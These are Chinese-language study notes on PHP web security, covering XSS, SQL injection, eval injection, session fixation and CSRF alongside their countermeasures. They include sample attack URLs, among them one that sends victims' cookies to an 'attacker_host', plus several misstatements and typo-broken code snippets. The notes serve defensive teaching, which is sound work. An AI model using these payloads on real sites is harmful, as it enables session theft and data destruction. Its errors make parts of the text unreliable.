8 PHP駭客攻防

PHP SECURITY

PHP 介紹
PHP(PHP:Hypertext Preprocessor)是一種在電腦上執行的腳本語(scripting programming language),主要用途在處理電腦動態網頁,一般來說php大多在client端執行,透過執行php的程式碼來產生網頁提供瀏覽器讀取,可在許多不同種的伺服器,作業系統 ,平台上執行,可和許多資料庫系統結合。

安全性
為何需要安全性?

1.php程序的運作往往與敏感數據(註一)有關
-未經授權訪問這些數據是不被允許的。
-為了預防問題的產生,安全設計是必需的。

2.Input:
狹義而言:php程式在伺服器端執行,user input有可能會被client端的java script執行,user input會成為http的request送至伺服器端
廣義而言:由server端所送出的所有request

1.User input是不可靠和不被信任
-部分資料會在Client和server端傳輸時遺失。(可靠度問題)
-資料在某些process之間會造成損壞(可靠度問題)
-使用者有可能會以意料之外的方式輸入data(可靠度問題)       
-故意試圖獲取未經授權訪問或毀壞應用程序(安全性問題)
2. 未經授權驗證的user input
-Server會毀壞
-buffer overflows
-會讓機器被惡意使用者劫持
-讓hacker擁有root權限

                 
以上原因就是為何使用者再進入應用程序前須經過驗證的原因
解決方案:Input Validation輸入驗證,永遠不能相信使用者的input

其他額外要注意的事項
1.PHP版本是否最新
PHP衍伸版本很容易出現相容性問題,所以或許無法太常更新版本,不過使用者至少也應該選離最新版本夠近的版本。另外php的版本問題也會受到運作環境下的影響。不同版本的php security support也不同
<PHP為open source大家主動維護,不會自動更新,因此需更加注意版本問題,且在設計時造成的許多問題,在版本更新時這些問題未必會被解決更新。>

2.PHP使用方式是否恰當?
php的使用方式有很多,大部分是使用Apache作為httpd,並使用   Apache模組板的PHP,值得注意的事!這時在整個伺服器上的PHP都具有相同的權限,為了應付意料之外的攻擊最好考慮加上open_basedir、safe_mode這些限制PHP行為的執行時設定。

PHP.INI Setting

  • register_global = off (全域變數)
  • magic_quotes_gpc = off (' => \' , " => \" , %00 => \ 0) (建議 magic_quotes_gpc = off 自己處理)
  • display_error = off (在網頁上顯示錯誤訊息)
  • log_error = on (紀錄錯誤訊息)
  • allow_url_fopen = off (可開啟遠端網頁)
  • expose_php = off (顯示PHP 版本資訊)
  • open_basedir = (允許開啟的目錄)
  • safe_mode = on (安全模式)
  • disable_function = (禁止使用的函數)
  • safe_mode_include_dir = (允許include的目錄)

但是**open_basedir、safe_mode對於防止本機使用者執行惡意程式碼(讀檔、改寫檔案)而言,是無意義的。

   
3.Web伺服器使用是否恰當
如果apache具有root權限,那apache模組板的php就有對所有檔案具有讀取寫入權限了。

PHP Input Data Accessing
緣起:
Php4.2.0版本以前開發人員為方便操作各種變數與網頁傳進來的值,所以就採用將所有傳進變數值及Server 端自動產生的變數值,$_X(X:變數名稱)存在於整個php程式中,定義了許多外部變數為global 範圍,這些super global variable 讓user可以方便的accesses input data
        
–$_GET–data from get requests.
–$_POST–post request data
–$_COOKIE–cookie information.
–$_FILES–uploaded file data.
–$_SERVER–server data
–$_ENV–environment variables
–$_REQUEST–combination of GET/POST/COOKIE

Register global:
php應用程序中最常見的漏洞來源,特點是可把GET資料當成變數。
- 每一個輸入參數都可轉變為變數 EX:

-沒有方法去定義input source
-Cookie可被GET values複寫
-所有的super-global 變數的array indexes都可拿其array變數名稱來當作變數使用
Ex:


 
範例:

當 register_globals = on,上述判斷式可能會有邏輯問題。 當它設成 off,$authorized 就不能經由傳遞變數來設值(所以我們應該養成替變數初始化的好習慣)在上述程式碼中,我們可以先設 $authorized = false。它可以在 register_globals = on 或 off 的情況下防堵未經授權的使用者

Defending:
1.php.ini(Disable register_global )
2.error_reporting沒有給初值的變數都會有warning
3.Type sensitive:input為字串和type sensitive和boolean 和 integer比 則不會成功

 

 

$_REQUEST可從不同的input method去 merges data

Path Validation
basename():傳回不含路徑的檔案字串。
better Path Validation:隱藏file name

 

Magic Quoto:PHP tries為了使你免受與攻擊,會自動避免USER INPUT中的特殊字元,.( ‘, “, \, \0 (NULL)))
input processing變慢
--需增加記憶體

get_magic_quotes_gpc:取得 PHP 環境變數 magic_quotes_gpc 的值
<取得 PHP 環境設定的變數 magic_quotes_gpc (GPC, Get/Post/Cookie) 值。傳回 0 表示關閉本功能;傳回 1 表示本功能開啟。當 magic_quotes_gpc 開啟時,所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字元會自動轉為含有反斜線的溢出字元。>
Stripslashes:去掉反斜線符號


 
input filtering:使用者輸入的東西有惡意的需將他找出來
Filterl:用於驗證和過濾來自非安全來源的data,當資料通過filter時會使程序獲的正確的輸入類型。Ex:user input

output escaping:輸出到使用者的東西,必須是安全實用的


<可用在所有web應用>
Session:web到瀏覽器到伺服器的連結

 
Cross Site Scripting (XSS):跨網站腳本攻擊,是一種可威脅任何網站的應用形式,透過擷取使用者的cookie資料,讓攻擊者取得網站的管理權限,或允許惡意使用者將程式碼注入到網頁上,其他使用者在觀看網頁時就會受到影響。。
XSS攻擊方法有:
竊取 cookie 。
利用 iframe 或 frame 存取管理頁面或後台頁面。
利用 XMLHttpRequest 存取管理頁面或後台頁面。
–Can lead to embarrassment.–Session take-over.–Password theft.–User tracking by 3rdparties.

免XSS的方法主要是將使用者所提供的內容進行過濾,許多語言都有提供對HTML的過濾:

PHP的htmlentities()或是htmlspecialchars()
Htmlentities()
轉換所有字元成為HTML實體
htmlspecialchars ()
本函式將特殊字元轉成 HTML 的字串格式 ( &....; )。
& (和) 轉成 &amp;
" (雙引號) 轉成 &quot;
< (小於) 轉成 &lt;
>(大於) 轉成 &gt;

 strip_tags ()

去掉html 和php的標記

十大攻擊手法
 
          
session
        使用者進入你的網站後,可能有很多關於使用者的資訊,,而這些資訊可以容易的用Session記錄
Session函式庫http://home.educities.edu.tw/prettys/ec_php_session.htm

Session hijacking:即(Man In The Middle,簡稱MITM) ,攻擊者作為傳訊兩者的中間人,訊息的交換都會經過攻擊者手中,而攻擊者可以任意在訊息中參入惡意訊息。

攻擊手法及對策

XSS(跨網站指令碼)
藉由傳送特定的URL,強制讓人執行到惡意的客戶端程式碼

攻擊目標:典型的程式缺陷碼(顯示某筆資料的紀錄ID)

         <?php  
  echo  $_GET['id'];  
  ?>
攻擊手法:將下面此超連結以e-mail等方式傳送給攻擊對象,使人誤觸
http://victim_host/index.php?id=<script>document.location='http://attacker_host/?+document.cookie;<script>'

結果:id顯示時javacsript會被執行,在victim_host上的cookie資料會藉由URI請求傳遞給attacker_host。攻擊者只要翻閱attack_host的存取紀錄,就可以得知cookie內容

對策:

1.輸出字串以前,以htmlspecialchars(var,ENT_QUOTES)消毒過

htmlspecialchars($_GET['message',ENY_QUOTES]);
2.收到請求變數時,就應配合型別作是當的轉換。例如字串可以採用刪除危險文字的黑名單法,或只放行安全文字的白名單法。

 

Script Insertion()客戶端指令碼植入攻擊)
將JavaScript指令碼植入網站內容,讓第三者顯示、執行的攻擊

攻擊目標:
典型的缺陷情形

  1. 將以RSS/ATOM取得的標題資訊皆顯示在瀏覽器上
  2. 允許上傳圖片之類的檔案,而將檔案的MINE_Type輸出在者三者瀏覽器畫面
  3. 允許上傳圖片之類的檔案,而將圖片的EXIF輸出在第三者瀏覽器畫面上
  4. 允許連結或上傳Flash file,而該Flash可能會再第三的browser顯示
  5. 允許$_SERVER['HTTP_REFERER']之類的SERVER var(來源資訊等)輸出在第三者瀏覽器畫面上
  6. 允許不特定多數人投稿,且在第三者瀏覽器畫面上輸出這些投稿,儲存的資料時沒有交過消毒

攻擊手法:

  1. 對RSS讀取來源網送出包含JavaScript的投稿(該網站無防範時)
  2. 用改過的瀏覽器或telnet等方式,在post資料的Content-Type:植入JavaScript
  3. 將JavaScript寫入圖片的EXIF資料後投稿
  4. 在swf檔案裡植入JavaScript以後投稿或張貼網址
  5. 用改過的瀏覽器或telnet等方式,在來源資料裡寫入JavaScript後瀏覽網也(當網頁會公開顯示來源資訊時)
  6. 投稿包含JavaScript的文字內容

結果:管理者或第三者的cookie資料有可能被竊取,或是藉由JavaScript讓人自動張貼資訊,作為CDRF的前置攻擊

對策:

1.輸出字串以前,以htmlspecialchars(var,ENT_QUOTES)消毒過
針對第1項的範例  echo htmlspecialchars($rss_data['description'],ENT_QUOTES)
針對第2項的範例  echo htmlspecialchars($file['ypr'],ENT_QUOTES)
針對第3項的範例  $exif_data=exif_read_data($filename);
echo htmlspecialchars($exif_data['model'],ENT_QUOTES)
針對第5項的範例  echo htmlspecialchars($log[$1]['HTTP_REFERER'],ENT_QUOTES)
針對第6項的範例  echo htmlspecialchars($row['title'],ENT_QUOTES)

2.接受外部資料時的轉換
對於事前知道是數值型別才正確的變數,就應該在接受外部資料的時候,直接強制轉成數值

SQL Injection
奪取對資料進行查詢的動作,以便用來竊取密碼,串改資料

攻擊目標:
典型的缺陷情形(顯示出id所指定之留言的作者暱稱)
<?php
 $result=mysql_query("SELECT name FROM bbs WHERE  id='"$_GET['id']."'" ,$conn);
  echo htmlspecialchars(mysql_result($result,0,0,),ENT_QUOTES);
?>

判斷


 

攻擊

 

攻擊手法:以下面這行URL存取攻擊目標的網站
http://victim_host/index.php?id' UNION SELECT pass FROM bbs WHERE id=a ORDER BY 1 DESC/*

則實際送出的sql竟包含密碼

對策:產生查詢敘述時跳脫
在產生SQL敘述前,先跳脫'與"這些特殊符號$post_body4sql=addslashes($post_body);
mysql_query("INSERT INTO bbs SET post_body=&post_body4sql',$conn");

Blind SQL注入問題

相較於一般SQL注入攻擊,

Blind的作法是去注入執行delay或bechmark的SQL指令(如";waitfor+delay+'0:0:3'--"),

判斷true & false的反應時間來猜測有無漏洞。

故在GET Request部份加強過濾即可(如"wait" & "delay" & "--")。

 

eval 盜用攻擊

 

攻擊目標:典型的缺陷程式碼(對HTML標籤之外的部分,將$_GET['highlight'])所指定的文字標成粗體

<?php

if(!empity($_GET['highlight'])){

$text=substr(preg_replace('/\>.*\</esU',"str_replace('".$_GET['highlighr']."'<b>",'$_GET[highlight]."</b>,'\\0",".$text<"),1,-1);}?>

攻擊手法:以下列這行URI存取攻擊網站目標

http://victim_host/index.php?highlight=a','a',phpinfo();

結果

str_replace('a','a',phpinfo());//,<b>......)

成功顯示phpinfo();

對策:

 

1.白名單法

2.改用pre_replace_callback()

不要使用preg_replace()的修飾法,而改用preg_replace_calback()

3.回呼函式白名單法

 

Session 劫持

強制讓人使用已知的seession鍵,或盜取現存的未知session鍵,藉以挾持他人的seession進行攻擊

<?php  session_stret(); ?>

攻擊手法

設法以任何方式讓網站管理者或網站其他顧客採到下面這個連結。PHPESSID的部分可以配合需要改成自目標網站使用的seesion名稱

<a href='http://victim_host/index.php?

PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'>

結果

踩到連結對方與目標網站之間尚未確立seession()則session建會變成功擊者所指定的值

對策:

1.更改session設定

2.檢查IP位址

3.定期改變seesion鍵

 

CSRF (跨網站請求偽造)

攻擊目標:

典型的缺陷程式碼:"管理者"只要點選連結就可以刪除文章

<?php

    if($user->isAdmin() && $_GET['delete_ok'] == 1 ){

        mysql_query("DELECT FROM bbs WHERE id=".intval($_GET['id']), $conn);

    }

?>

攻擊手法:

使用webmail 等方法,讓"管理者"的瀏覽器讀到下面的HTML

<img src = "http://victim_host/index.php?id = 1&delete_ok=1"/>

<img src = "http://victim_host/index.php?id = 2&delete_ok=1"/>

<img src = "http://victim_host/index.php?id = 3&delete_ok=1"/>

.

結果:

"管理者"的瀏覽器處理到<img>標籤時,就會發生下述HTTP存取

 

http://victim_host/index.php?id=1&delete_ok=1

http://victim_host/index.php?id=2&delete_ok=1

http://victim_host/index.php?id=3&delete_ok=1

...

於送出這些請求的是有全縣的管理者,所以可通過權限檢查,指定的文章全部被刪除

 

CSRF對策方法

對策1 檢查來源法

收到瀏覽器來源頁面(referer),若不是來自站內就檔掉動作

優點 

    實作簡單不用session

缺點

    不送出來源的瀏覽器會無法操作

    當表單內有XSS漏洞時就無效了

 

對策2 門票法

顯示表單的時候,建立出門票的票根,將門票以hidden欄位隱藏在表單裡,而票根則存在session裡。實際進行POST時,

先確認POST的門票與票根是否一致,再清除票根。

 

優點

    不會送出來源的瀏覽器也可以使用

缺點

    實作起來有點麻煩(不過比session傳遞法輕鬆)

    需要用到session

    表單或網站有任何一處XSS漏洞時,門票還是可能被竊取

 

對策3 POST使用法

重大的操作一定要使用POST來確認,不要使用GET。處理變數時也不該使用$_REQUEST

優點

    實作簡單

缺點

    使用javascript等方法,還是可以自動POST。並不是本質上的對策,充其量只是輔助措施

 

本筆記之攻擊手法及對策皆擷取自-網頁程式駭客攻防實戰  以php為例GIJOE著
有興趣的同學可自行觀看

 

註一:『敏感數據』(sensitive data)的定義大致可歸類為「獨特、不能隨意改變,擁有授權能力的個人資料,例如DNA排序、指紋、身份證和職員號碼等,都普遍被用作授權碼(authorization code)。」授權碼就是一些具批核能力、授予通達權的個人資料。